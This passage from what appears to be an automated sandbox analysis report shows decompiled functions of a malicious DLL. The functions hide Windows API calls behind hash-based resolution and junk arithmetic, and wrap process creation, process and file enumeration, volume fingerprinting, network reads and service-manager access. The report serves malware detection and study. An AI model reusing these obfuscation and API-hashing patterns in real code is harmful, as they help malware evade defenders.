				_push(_a56);
				_t71 = __edx;
				_push(_a52);
				_push(_a48);
				_push(0);
				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(0);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(__edx);
				E10022523(_t54);
				_v28 = 0x2cec17;
				_v24 = 0;
				_v16 = 0x5aadab;
				_v16 = _v16 << 3;
				_v16 = _v16 >> 0xc;
				_v16 = _v16 ^ 0x000031a8;
				_v12 = 0x82119f;
				_v12 = _v12 >> 2;
				_v12 = _v12 + 0xffff09c3;
				_t65 = 0x25;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x0004d7f2;
				_v8 = 0x7cd8a6;
				_v8 = _v8 >> 6;
				_v8 = _v8 | 0x702a8e48;
				_v8 = _v8 + 0xffff37f0;
				_v8 = _v8 ^ 0x702d019b;
				_v20 = 0x367fb2;
				_v20 = _v20 + 0xffff7ba2;
				_v20 = _v20 ^ 0x003ae9c9;
				E10002309(0x2e4, _t65, _t65, 0xbf8568a3, _t65, 0x9c9047d0);
				_t63 = CreateProcessW(_t71, _a16, 0, 0, _a52, 0, 0, 0, _a28, _a48); // executed
				return _t63;
			}

APIs

CreateProcessW.KERNELBASE(000C0354,?,00000000,00000000,?,00000000,00000000,00000000,229292B4,?), ref: 100232BB

Memory Dump Source

Source File: 00000009.00000002.264657180.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000009.00000002.264644417.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.264689574.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction ID: db286c9e9bcad3bd2e87b522c53d89c9dfc5ed19f2ace101bae5327955dfaec9
Opcode Fuzzy Hash: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction Fuzzy Hash: 21311476801248BBCF65DF96CD49CDFBFB5FB89704F108188F914A6220D3B58A60DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000009.00000002.264657180.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000009.00000002.264644417.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.264689574.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNELBASE(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000009.00000002.264657180.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000009.00000002.264644417.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.264689574.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 5192 Parent PID: 1340 rundll32.exeCOMMON

Executed Functions

Function 10011A80, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
fileCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E10011A80(void* __ecx, struct _WIN32_FIND_DATAW* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t44;
				void* _t55;
				signed int _t57;
				struct _WIN32_FIND_DATAW* _t63;

				_push(_a16);
				_t63 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E10022523(_t44);
				_v36 = 0x40784c;
				asm("stosd");
				asm("stosd");
				_t57 = 0x66;
				asm("stosd");
				_v8 = 0xc58147;
				_v8 = _v8 / _t57;
				_v8 = _v8 >> 6;
				_v8 = _v8 + 0xffff0e61;
				_v8 = _v8 ^ 0xffff2899;
				_v16 = 0x3eee0f;
				_v16 = _v16 ^ 0xf4098113;
				_v16 = _v16 * 0x76;
				_v16 = _v16 ^ 0x918df00d;
				_v12 = 0x61adbd;
				_v12 = _v12 | 0x1ce5c3f2;
				_v12 = _v12 ^ 0x5ce6c57a;
				_v12 = _v12 ^ 0x400dc737;
				_v20 = 0x919b51;
				_v20 = _v20 + 0x9c69;
				_v20 = _v20 ^ 0x00927a19;
				E10002309(0x352, _t57, _t57, 0x810611c3, _t57, 0x9c9047d0);
				_t55 = FindFirstFileW(_a16, _t63); // executed
				return _t55;
			}

0x10011a88
0x10011a8b
0x10011a8d
0x10011a90
0x10011a93
0x10011a96
0x10011a98
0x10011a9d
0x10011aac
0x10011ab1
0x10011ab2
0x10011ab9
0x10011aba
0x10011acb
0x10011ace
0x10011ad2
0x10011ad9
0x10011ae0
0x10011ae7
0x10011af9
0x10011afc
0x10011b03
0x10011b0a
0x10011b11
0x10011b18
0x10011b1f
0x10011b26
0x10011b2d
0x10011b40
0x10011b4c
0x10011b53

APIs

FindFirstFileW.KERNEL32(1000CC4B,?,?,?,?,?,?,?,?,?,?,09AB8BF6,00000072), ref: 10011B4C

Strings

Lx@, xrefs: 10011A9D

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileFindFirst
String ID: Lx@
API String ID: 1974802433-402333656
Opcode ID: 36fdb602463615d85640dee2202416375b56d64be84a9f72e6469216861f4ee0
Instruction ID: 4c909c8dcac535ec2e4d3c8be887b4ad64c8f6e64b414c256e7081c5313808d4
Opcode Fuzzy Hash: 36fdb602463615d85640dee2202416375b56d64be84a9f72e6469216861f4ee0
Instruction Fuzzy Hash: B1212575D01219FBEB18CFA5DC4A9DEBFB5FB44300F008199E811A6260D3B59B54DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10021027, Relevance: 1.6, APIs: 1, Instructions: 57
filenetworkCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E10021027(void* __ecx, void* __edx, intOrPtr _a4, void* _a8, long _a12, intOrPtr _a16, intOrPtr _a20, DWORD* _a24) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t46;
				int _t55;
				signed int _t57;
				void* _t62;

				_push(_a24);
				_t62 = __ecx;
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E10022523(_t46);
				_v12 = 0xd4e775;
				_v12 = _v12 ^ 0x9fa1d679;
				_v12 = _v12 + 0xffffd43b;
				_v12 = _v12 >> 0xf;
				_v12 = _v12 ^ 0x000b9d33;
				_v20 = 0xb1fd06;
				_v20 = _v20 + 0xffff1766;
				_v20 = _v20 ^ 0x00bd550d;
				_v16 = 0x2d7499;
				_v16 = _v16 << 0x10;
				_v16 = _v16 ^ 0x749af706;
				_v8 = 0x5dfa4b;
				_t57 = 0x11;
				_v8 = _v8 / _t57;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 | 0xef9b7d02;
				_v8 = _v8 ^ 0xef9457ed;
				E10002309(0x254, _t57, _t57, 0xf677e454, _t57, 0xc0cf1a4);
				_t55 = InternetReadFile(_t62, _a8, _a12, _a24); // executed
				return _t55;
			}

0x1002102e
0x10021031
0x10021033
0x10021036
0x10021039
0x1002103c
0x1002103f
0x10021043
0x10021044
0x10021049
0x10021053
0x1002105c
0x10021063
0x10021067
0x1002106e
0x10021075
0x1002107c
0x10021083
0x1002108a
0x1002108e
0x10021095
0x100210a1
0x100210a9
0x100210ac
0x100210b0
0x100210b7
0x100210d7
0x100210e9
0x100210ef

APIs

InternetReadFile.WININET(?,749AF706,00BD550D,?), ref: 100210E9

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 2d4f4d84a63d0f13ac273aada7b35ede13ebed0102486743890e3910fc006acb
Instruction ID: 23d0799d30c03751676f61c09586855f1f5435a61959109e3edcdfa144fe7809
Opcode Fuzzy Hash: 2d4f4d84a63d0f13ac273aada7b35ede13ebed0102486743890e3910fc006acb
Instruction Fuzzy Hash: 8A2113B6D00209FBDF06DFE4C94A8EEBBB1EF44300F508189F92566251E3B55B61EB91

Uniqueness

Uniqueness Score: -1.00%

Function 10011B54, Relevance: 1.5, APIs: 1, Instructions: 47
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10011B54(int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t51;
				signed int _t52;

				_v24 = _v24 & 0x00000000;
				_v36 = 0x604094;
				_v32 = 0x94e455;
				_v28 = 0xad6ab3;
				_v8 = 0x1f2344;
				_v8 = _v8 >> 0xc;
				_v8 = _v8 << 0xe;
				_t52 = 0x3c;
				_v8 = _v8 * 0x16;
				_v8 = _v8 ^ 0x0ab2d5aa;
				_v20 = 0xb8d8f1;
				_v20 = _v20 ^ 0x9bb5e2ea;
				_v20 = _v20 ^ 0x9b0a37ea;
				_v16 = 0x527695;
				_v16 = _v16 << 1;
				_v16 = _v16 / _t52;
				_v16 = _v16 ^ 0x000d80fe;
				_v12 = 0xedaf67;
				_v12 = _v12 ^ 0xb485e6d8;
				_v12 = _v12 + 0xffff9be0;
				_v12 = _v12 ^ 0xb46ea43d;
				E10002309(0x190, _t52, _t52, 0xbde7009f, _t52, 0x9c9047d0);
				_t51 = CreateToolhelp32Snapshot(_a4, 0); // executed
				return _t51;
			}

0x10011b5a
0x10011b60
0x10011b67
0x10011b6e
0x10011b75
0x10011b7c
0x10011b80
0x10011b8a
0x10011b91
0x10011b94
0x10011b9b
0x10011ba2
0x10011ba9
0x10011bb0
0x10011bb7
0x10011bc4
0x10011bc7
0x10011bce
0x10011bd5
0x10011bdc
0x10011be3
0x10011bfd
0x10011c0a
0x10011c0f

APIs

CreateToolhelp32Snapshot.KERNEL32(B46EA43D,00000000), ref: 10011C0A

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 8dbd4dee2a96a2a279b30488413906bed3e520bcc45b322a8894c97035d3b5c6
Instruction ID: 9081da046f3271a085e2fa5fb81bd71d4906930810acfb0f456372ca571504a1
Opcode Fuzzy Hash: 8dbd4dee2a96a2a279b30488413906bed3e520bcc45b322a8894c97035d3b5c6
Instruction Fuzzy Hash: 8B11F3B1D0520CEBDB18DFA8C94A6AEBBB0FF44304F108199E521B72A0D7B56B04DF50

Uniqueness

Uniqueness Score: -1.00%

Function 100054DA, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57
networkCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100054DA(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t52;
				int _t63;
				signed int _t65;
				signed int _t66;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t52);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x6eade3;
				_v20 = 0x70ee4c;
				_v20 = _v20 + 0xffffd19f;
				_v20 = _v20 ^ 0x007528c6;
				_v16 = 0x80bb49;
				_v16 = _v16 + 0xffff2cb2;
				_v16 = _v16 >> 4;
				_t65 = 0x3d;
				_v16 = _v16 / _t65;
				_v16 = _v16 ^ 0x000cd3d3;
				_v12 = 0x49bca9;
				_v12 = _v12 + 0x284b;
				_v12 = _v12 + 0x352d;
				_v12 = _v12 ^ 0x5aa1db04;
				_v12 = _v12 ^ 0x5aee1bd2;
				_v8 = 0xbb5f19;
				_v8 = _v8 << 9;
				_v8 = _v8 | 0x616a7bee;
				_t39 =  &_v8; // 0x616a7bee
				_t66 = 0x5f;
				_v8 =  *_t39 / _t66;
				_v8 = _v8 ^ 0x01468cd5;
				E10002309(_t66 + 0x22, _t66, _t66, 0x1d483158, _t66, 0xc0cf1a4);
				_t63 = InternetCloseHandle(_a12); // executed
				return _t63;
			}

0x100054e0
0x100054e3
0x100054e6
0x100054eb
0x100054f0
0x100054f7
0x10005500
0x10005507
0x1000550e
0x10005515
0x1000551c
0x10005523
0x1000552c
0x10005531
0x10005536
0x1000553d
0x10005544
0x1000554b
0x10005552
0x10005559
0x10005560
0x10005567
0x1000556b
0x10005572
0x10005575
0x1000557d
0x10005580
0x1000559e
0x100055a9
0x100055ae

APIs

InternetCloseHandle.WININET(007528C6), ref: 100055A9

Strings

Lp, xrefs: 10005500
-5, xrefs: 1000554B
{ja, xrefs: 10005572

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CloseHandleInternet
String ID: -5$Lp${ja
API String ID: 1081599783-1222928185
Opcode ID: 96c25ca98efac3a213f8ce2c5c378593396d62ac674d19cb573e17f5676fb90f
Instruction ID: e6c55e4df9d10131ec682d11da997c923e435672ca5001c5aadfd6cedd8f9d11
Opcode Fuzzy Hash: 96c25ca98efac3a213f8ce2c5c378593396d62ac674d19cb573e17f5676fb90f
Instruction Fuzzy Hash: 4B2104B6D0120DFBEF04CFE5C94AAAEBBB1FB10314F108199E420A6251E3B95B14CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1001F606, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E1001F606(void* __ecx, void* __edx, struct tagPROCESSENTRY32W* _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t43;
				void* _t50;
				void* _t54;

				_push(_a8);
				_t54 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xf33a94;
				_v8 = 0x16e1c5;
				_v8 = _v8 << 0x10;
				_v8 = _v8 + 0xffff7501;
				_v8 = _v8 * 0x3d;
				_v8 = _v8 ^ 0xcbc2f299;
				_v20 = 0x18380a;
				_v20 = _v20 + 0x556a;
				_v20 = _v20 ^ 0x2e444359;
				_v20 = _v20 ^ 0x2e5734c8;
				_v16 = 0x1de0f;
				_v16 = _v16 + 0xffff3d0f;
				_v16 = _v16 ^ 0x5b4c4104;
				_v16 = _v16 ^ 0x5b45396c;
				_v12 = 0x8d2c67;
				_v12 = _v12 | 0x6bb36e73;
				_v12 = _v12 ^ 0x44de99d4;
				_v12 = _v12 ^ 0x2f6e43e4;
				_t50 = E10002309(0x343, __ecx, __ecx, 0x1a63a552, __ecx, 0x9c9047d0);
				Process32FirstW(_t54, _a4); // executed
				return _t50;
			}

0x1001f60d
0x1001f610
0x1001f612
0x1001f615
0x1001f616
0x1001f617
0x1001f61c
0x1001f623
0x1001f627
0x1001f62e
0x1001f635
0x1001f639
0x1001f650
0x1001f653
0x1001f65a
0x1001f661
0x1001f668
0x1001f66f
0x1001f676
0x1001f67d
0x1001f684
0x1001f68b
0x1001f692
0x1001f699
0x1001f6a0
0x1001f6a7
0x1001f6c0
0x1001f6cc
0x1001f6d2

APIs

Process32FirstW.KERNEL32(00000000,2F6E43E4,?,?,?,?,?,?,?,?,00000000), ref: 1001F6CC

Strings

Cn/, xrefs: 1001F6A7
l9E[, xrefs: 1001F68B
YCD., xrefs: 1001F668

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FirstProcess32
String ID: YCD.$l9E[$Cn/
API String ID: 2623510744-4191728293
Opcode ID: ba6908419aca7e40de5752100cf2159fdf1c013576c21fa5a45c6b552e88f8aa
Instruction ID: e259f347f79b612dfbf7f188fd4e3a77e73ae6d79840be04f149529e315639f7
Opcode Fuzzy Hash: ba6908419aca7e40de5752100cf2159fdf1c013576c21fa5a45c6b552e88f8aa
Instruction Fuzzy Hash: 802133BAC01219EBCF08CFE4E98A9AEBBB4FF10715F108689E415B6211D3745B10DF91

Uniqueness

Uniqueness Score: -1.00%

Function 1001A809, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E1001A809(DWORD* __ecx, void* __edx, intOrPtr _a12, WCHAR* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a40, intOrPtr _a44) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t45;
				int _t55;
				DWORD* _t60;

				_t60 = __ecx;
				_push(0);
				_push(0);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E10022523(_t45);
				_v36 = 0x72e62c;
				_v32 = 0x6afee3;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x241442;
				_v12 = _v12 ^ 0x5f0a7563;
				_v12 = _v12 * 0x4b;
				_v12 = _v12 + 0xffff00d5;
				_v12 = _v12 ^ 0xe298fffa;
				_v20 = 0x629ccf;
				_v20 = _v20 + 0xa262;
				_v20 = _v20 ^ 0x006504c5;
				_v8 = 0x8dfd52;
				_v8 = _v8 * 0x5f;
				_v8 = _v8 >> 0xe;
				_v8 = _v8 << 0xd;
				_v8 = _v8 ^ 0x1a5bea6c;
				_v16 = 0x13a484;
				_v16 = _v16 * 0x42;
				_v16 = _v16 ^ 0x051e7b21;
				E10002309(0x1c8, __ecx, __ecx, 0xfc0d3d9c, __ecx, 0x9c9047d0);
				_t55 = GetVolumeInformationW(_a16, 0, 0, _t60, 0, 0, 0, 0); // executed
				return _t55;
			}

0x1001a813
0x1001a815
0x1001a816
0x1001a817
0x1001a81a
0x1001a81d
0x1001a81e
0x1001a81f
0x1001a822
0x1001a825
0x1001a828
0x1001a82b
0x1001a82e
0x1001a82f
0x1001a831
0x1001a832
0x1001a837
0x1001a841
0x1001a848
0x1001a84b
0x1001a84e
0x1001a855
0x1001a86c
0x1001a86f
0x1001a876
0x1001a87d
0x1001a884
0x1001a88b
0x1001a892
0x1001a8a3
0x1001a8a6
0x1001a8aa
0x1001a8ae
0x1001a8b5
0x1001a8c0
0x1001a8c3
0x1001a8d6
0x1001a8e8
0x1001a8ef

APIs

GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 1001A8E8

Strings

,r, xrefs: 1001A837
cu_, xrefs: 1001A855

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: InformationVolume
String ID: ,r$cu_
API String ID: 2039140958-355032270
Opcode ID: 11f0a768391377fe69868ce35b1527178b61e9fcd2d284546a7f3ae16540a2da
Instruction ID: 2d9077e8843d46ea74a564eef62e93d3853f66a41997d5942974fc7a547dbb6c
Opcode Fuzzy Hash: 11f0a768391377fe69868ce35b1527178b61e9fcd2d284546a7f3ae16540a2da
Instruction Fuzzy Hash: 7F21E0B1801249BBCF14CFA6DD49CDFBFB9EB86704F108199F910A2220D3B59A15DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000BEDE, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNEL32(007CD4C5,00000000,00000000,31305EC1), ref: 1000BFB0

Strings

=., xrefs: 1000BF6D
^.c, xrefs: 1000BF25

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FullImageNameProcessQuery
String ID: =.$^.c
API String ID: 3578328331-3776521896
Opcode ID: 07ae75dd8ddba432c77965de32a51c1b19153ce4c2545f6c391e89c1662625bf
Instruction ID: 7275a9ed560c09780dabca557c474df7feafaa640da0da3fdedc6977ea339cbe
Opcode Fuzzy Hash: 07ae75dd8ddba432c77965de32a51c1b19153ce4c2545f6c391e89c1662625bf
Instruction Fuzzy Hash: 40213475C00209FBDF18CFA4C84AAEEBFB1FB40704F208588E91476250D3B19B619F90

Uniqueness

Uniqueness Score: -1.00%

Function 1000FBFA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000FBFA(void* __ecx, void* __edx, intOrPtr _a4, void* _a8) {
				unsigned int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t48;
				int _t57;
				signed int _t59;

				_push(_a8);
				_push(_a4);
				E10022523(_t48);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0x49672e;
				_v32 = 0xb6dd69;
				_v16 = 0x714492;
				_v16 = _v16 >> 4;
				_v16 = _v16 + 0x8cae;
				_v16 = _v16 + 0xf12f;
				_v16 = _v16 ^ 0x0001c43a;
				_v20 = 0xe1aff5;
				_v20 = _v20 + 0x563d;
				_v20 = _v20 ^ 0x00ec4f92;
				_v12 = 0xff415;
				_v12 = _v12 + 0x39cf;
				_v12 = _v12 | 0x79f6ff5d;
				_v12 = _v12 ^ 0x79f7d296;
				_v8 = 0xdebe32;
				_t59 = 0x1e;
				_v8 = _v8 / _t59;
				_v8 = _v8 >> 0xe;
				_v8 = _v8 >> 0xe;
				_v8 = _v8 ^ 0x0002d9b6;
				E10002309(0x336, _t59, _t59, 0xd09d8658, _t59, 0x9c9047d0);
				_t57 = FindClose(_a8); // executed
				return _t57;
			}

0x1000fc00
0x1000fc03
0x1000fc08
0x1000fc0d
0x1000fc14
0x1000fc1a
0x1000fc21
0x1000fc28
0x1000fc2f
0x1000fc33
0x1000fc3a
0x1000fc41
0x1000fc48
0x1000fc4f
0x1000fc56
0x1000fc5d
0x1000fc64
0x1000fc6b
0x1000fc72
0x1000fc79
0x1000fc85
0x1000fc8d
0x1000fc90
0x1000fc94
0x1000fc98
0x1000fcb8
0x1000fcc3
0x1000fcc8

APIs

FindClose.KERNEL32(0001C43A), ref: 1000FCC3

Strings

=V, xrefs: 1000FC4F
.gI, xrefs: 1000FC1A

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CloseFind
String ID: .gI$=V
API String ID: 1863332320-2530093900
Opcode ID: 110af252eeec9babbf3e3997d431909c73a56f909e67471b0c3fb51db6a30985
Instruction ID: 13a99136c5b08d47dc1f4c8c5ed125b3ab52959e5c24daba2c8c9d4d8457441f
Opcode Fuzzy Hash: 110af252eeec9babbf3e3997d431909c73a56f909e67471b0c3fb51db6a30985
Instruction Fuzzy Hash: 8B2133B5D0020CEFEB04CFD5D94AAEEBBB0FB54318F10C199E52466240E3B95B589F90

Uniqueness

Uniqueness Score: -1.00%

Function 1001FE9D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E1001FE9D(void* __edx, intOrPtr _a4, intOrPtr _a8, int _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t34;
				void* _t41;
				void* _t43;

				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t34);
				_v32 = 0xfebeef;
				_v28 = 0x6b4d4f;
				_v24 = 0;
				_v20 = 0x72d4d3;
				_v20 = _v20 + 0x7ce2;
				_v20 = _v20 ^ 0x0072d8bc;
				_v16 = 0x618a6;
				_v16 = _v16 + 0x2ac;
				_v16 = _v16 ^ 0x00083b16;
				_v12 = 0x17740f;
				_v12 = _v12 + 0x9d82;
				_v12 = _v12 ^ 0x0012bdfc;
				_v8 = 0xba692b;
				_v8 = _v8 ^ 0x31422697;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 ^ 0x0005552e;
				_push(0x21ce39be);
				_push(0xb53dc03);
				_push(_t42);
				_push(_t42);
				_t43 = 0x15;
				E10002309(_t43);
				_t41 = OpenSCManagerW(0, 0, _a16); // executed
				return _t41;
			}

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 1001FF4C

Strings

OMk, xrefs: 1001FEC1
|, xrefs: 1001FED2

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

